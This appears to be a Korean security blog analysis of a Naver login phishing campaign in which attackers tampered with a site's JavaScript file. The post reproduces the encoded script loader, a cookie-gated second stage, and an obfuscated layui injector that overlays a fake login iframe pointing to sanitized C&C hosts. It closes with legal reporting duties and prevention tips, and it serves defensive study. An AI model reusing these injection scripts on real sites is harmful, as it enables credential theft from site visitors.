네이버 검색시 해킹이 의심되는 사이트입니다. 보안 분석
이번 최근 상당수 발견되고 있는 네이버 로그인 피싱 분석하고 알아보고자 합니다.
0. 개요
2023년 5월인 D모 공식 웹 페이지에서 네이버 로그인 팝업이 뜨는 수법으로 침해사고가 발견되고 있습니다.
또한, 최근 자사 고객들 사이에서 웹 페이지 변조가 되어 통해 네이버 계정을 탈취하고 있는 사례들이 많아지고 있습니다.
네이버에서 웹사이트 검색할 경우 “해킹이 의심되는 사이트입니다. 로그인에 주의하세요”
라는 문구와 함께 최초 웹 페이지 접속 시 네이버 로그인 폼(팝업)을 보여주고 있으며 이용자가 무심코 로그인하게끔 유도 하는 점이 발견되고 있습니다.
분석 결과, 웹 서버 취약점을 이용하여 코드를 삽입하였고 공격자 수집용 C&C서버에 네이버 계정이 다량으로 수집된 것을 확인할 수 있었습니다.
1. 분석
<사진1> M모 웹 페이지 접속시 취약점 공격으로 네이버 로그인 화면 모습
최초 웹 페이지에 접속 시 네이버 로그인 화면이 출력되는 것을 확인했습니다.
<사진 2> M모 웹 페이지에 삽입된 iframe 태그 website-1.com/uploaded/excel///login.php
해당 웹 페이지에 iframe태그로 된 네이버 로그인이 삽입된 과정을 분석 해보도록 하겠습니다.
제일 먼저 페이지에 삽입된 iframe을 통해서 website-1.com/uploaded/excel///login.php 를 로드하여 네이버 로그인 폼을 뜨고 있는 점을 확인 하였습니다.
<iframe>이란? HTML 마크업 언어인 inline frame의 약자로, 웹 페이지안에 또 다른 웹페이지를 삽입하는 것을 의미합니다.
<사진3> ID PW 입력시 데이터를 어디론가 저장을 하여 Status Code 와 함께 Callback 함수로 Success 출력
<사진1>에서 ID : qwert PW : 1234 와 같은 간단한 값을 삽입했을 경우 “status” : “Failed”라는 값이 출력되었으며, 복잡한 ID/PW를 구성 했을경우 <사진 3>과 같이 “status” : “Success” 값을 출력한 것을 확인하였습니다.
/js/qlick.js
//Before (Encode)
document.write(unescape("%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%73%3A%2F%2F%77%77%77%2E%ec%95%8c%ec%88%98%ec%97%86%eb%8a%94%ed%8e%98%ec%9d%b4%ec%a7%80%2E%63%6F%6D%2F%75%70%6C%6F%61%64%44%61%74%61%2F%62%6F%6F%6B%2F%63%73%73%2E%6A%73%3E%69%70%74%3E3C%2F%73%63%72%"));
//After (DeCode)
document.write(unescape("https://www.website-2.com/uploadData/book/css.js</a>>ipt>3C/scr%"));
<표1> 변조된 qlick.js 파일에서 발견된 코드 Encode & Decode
M모 웹 페이지 자바스크립트 파일 확인중 /js/qlick.js 최하단에 <표1> 코드가 작성 되었으며, 파일이 변조된 점과 함께 C&C 서버(website-2.com/uploadData/book/css.js) 에 업로드 되어있는 파일을 불러오게 됩니다.
C&C 서버란? 악성 소프트웨어를 감염시킨 컴퓨터 또는 네트워크와 통신하여 악성 행위를 지시하고, 제어하며, 데이터를 수집하는 역할을 합니다.
if(document.cookie.indexOf("sdvbdtrwssss=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="sdvbdtrwssss=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("\\x6D"+"\\x73"+"\\x69\\x65"+"\\x20\\x37")==-1);
document.write("https://website-3.com/mail/</a>>"); }
<표2> website-2.com/uploadData/book/css.js
<표2> 코드를 간략하게 분석해보았습니다.
- "sdvbdtrwssss"라는 특정 쿠키가 존재하지 않는지 확인
- 쿠키가 없으면 해당 이름과 값이 "Yes"인 새로운 쿠키를 생성 (쿠키는 24시간 후 만료)
- 쿠키를 설정한 후, 브라우저의 사용자 에이전트 문자열을 확인
- UserAgent 에 "msie7"문자가 없을경우 스크립트 태그를 작성하여 "https://website-3.com/mail/" 에서 JavaScript 파일을 불러옴
var vva = [
"link",
"text/css",
"stylesheet",
"head",
"script",
"text/javascript",
"undefined",
"loaded",
"complete",
'//website-1.com/uploaded/excel//',
'//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/layui.js',
'//cdnjs.cloudflare.com/ajax/libs/layui/2.6.8/css/layui.css',
'100px',
'naver',
'login',
'poplog',
'62%',
'95%',
'/login.php?m=1',
'480px',
'570px',
'/login.php',
'message',
'string',
'poplog',
'login',
'poplog'
];
function vodf88(vod329){
var vod256=window["document"]["createElement"](vva[0]);
vod256["type"]= vva[1];
vod256["rel"]= vva[2];
vod256["href"]=vod329;
window["document"]["getElementsByTagName"](vva[3])[0]["appendChild"](vod256)
};
function vod801(vod329,vodd5b){
var vodf9f=window["document"]["createElement"](vva[4]);
vodf9f["type"]= vva[5];
if(typeof(vodd5b)!= vva[6]){
if(vodf9f["readyState"]){
vodf9f["onreadystatechange"]=function(){
if(vodf9f["readyState"]== vva[7]||vodf9f["readyState"]== vva[8]){
vodf9f["onreadystatechange"]=null;
vodd5b()
}
}
}else{
vodf9f["onload"]=function(){
vodd5b()
}
}
};
vodf9f["src"]=vod329;
window["document"]["head"]["appendChild"](vodf9f)
};
var popurl= vva[9];
var vodd0f= vva[10];
var vodd2e= vva[11];
var vodfa4;
function vod463(vod329,vod766,vod141){
vodfa4=layer["open"]({
type:2,
title:false,
area:[vod766,vod141],
fixed:false,
maxmin:false,
scrollbar:false,
offset: vva[12],
closeBtn:0,
shade:0.5,
id: vva[13],
content:vod329,
end:function(){
sessionStorage[ vva[14]]= vva[15]
}
})
};
vodf88(vodd2e);
vod801(vodd0f,function(){
var vod598;
var voda8e;
if(/Android|webOS|iPhone|iPod|BlackBerry/i["test"](navigator["userAgent"])){
vod598= vva[16];
voda8e= vva[17];
popurl=popurl+ vva[18]
}else{
vod598= vva[19];
voda8e= vva[20];
popurl=popurl+ vva[21]
};
window["addEventListener"]( vva[22],function(vod739){
if(typeof(vod739["data"]["msg"])== vva[23]){
if(vod739["data"]["msg"]== vva[24]){
layer["close"](vodfa4)
}
}
},false);
if(sessionStorage[ vva[25]]!= vva[26]){
vod463(popurl,voda8e,vod598)
}
})
<표3> website-3.com/mail/
자바스크립트 코드에 난독화가 적용되어 있었으며, layui 라이브러리를 이용해 website-1.com/uploaded/excel///login.php 를 삽입한 것을 확인할 수 있습니다.
layui 라이브러리의 경우 중국에서 만들어진 UI Framework로 중국발 공격임을 추측 확인 할 수 있습니다.
<사진4> 피해자 계정 정보
website1.com 에서는 디렉토리 인덱싱이 활성화되어 있음을 확인하여, 피싱에 사용되는 login.php 이외에 111.txt를 확인 할 수 있었습니다.
해당 분석 결과로 공격자는 웹 페이지의 취약점을 이용해서 자신이 원하는 자바스크립트 코드를 삽입하고, 네이버 로그인 창과 유사한 login.php를 출력했습니다. 또한, 출력된 피싱 폼에 입력된 모든 정보를 C&C 서버로 전달하여 다수의 이용자의 네이버 계정 정보를 탈취한 사실이 밝혀졌습니다.
또한, C&C 서버인 website1.com, website2.com, website3.com 모두 국내 웹 사이트 이였으며 국내 취약한 서버를 대상으로 이뤄진 공격을 확인 하였습니다.
시작점:
MyWebsite.com/js/qlick.js (다음줄의 스크립트를 가져와 실행)
website-2.com/uploadData/book/css.js 'sdvbdtrwssss'이름의 쿠키 추가 및 다음 스크립트 불러옴
JS(make iframe): website-3.com/mail/
iframe url: website-1.com/uploaded/excel///login.php (실제 네이버 피싱 페이지)
아래 3개 주소는 요청헤더를 검사하여 부적합한 요청이면 404 not found를 반환합니다.
3. 사후 조치, 법률, 예방 방법
3-1. 법률
「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조의3 제1항에 의거하여 침해사고 발생시그 사실을 과학기술정보통신부장관이나 한국인터넷진흥원에 반드시 신고하여야 한다.
※ URL : https://boho.or.kr/kr/report/list.do?menuNo=205034
3-2. 기업 조치 방안
- 한국인터넷진흥원 중소기업 침해사고 피해지원 서비스 안내
사고의 원인 규명 및 재발 방지 대책을 위해 무상으로 '침해사고 피해지원 서비스'를 제공
3-3. 서버 침해 예방방법
- 웹 시큐어 코딩 JavaScript_시큐어코딩_가이드2022년.pdf
- 정기적으로 보안 점검 및 취약한 소프트웨어 버전 업그레이드
Reference
https://help.naver.com/service/5626/contents/21529?lang=ko
https://developer.mozilla.org/ko/docs/Web/HTML/Element/iframe
http://word.tta.or.kr/dictionary/dictionaryView.do?word_seq=038958-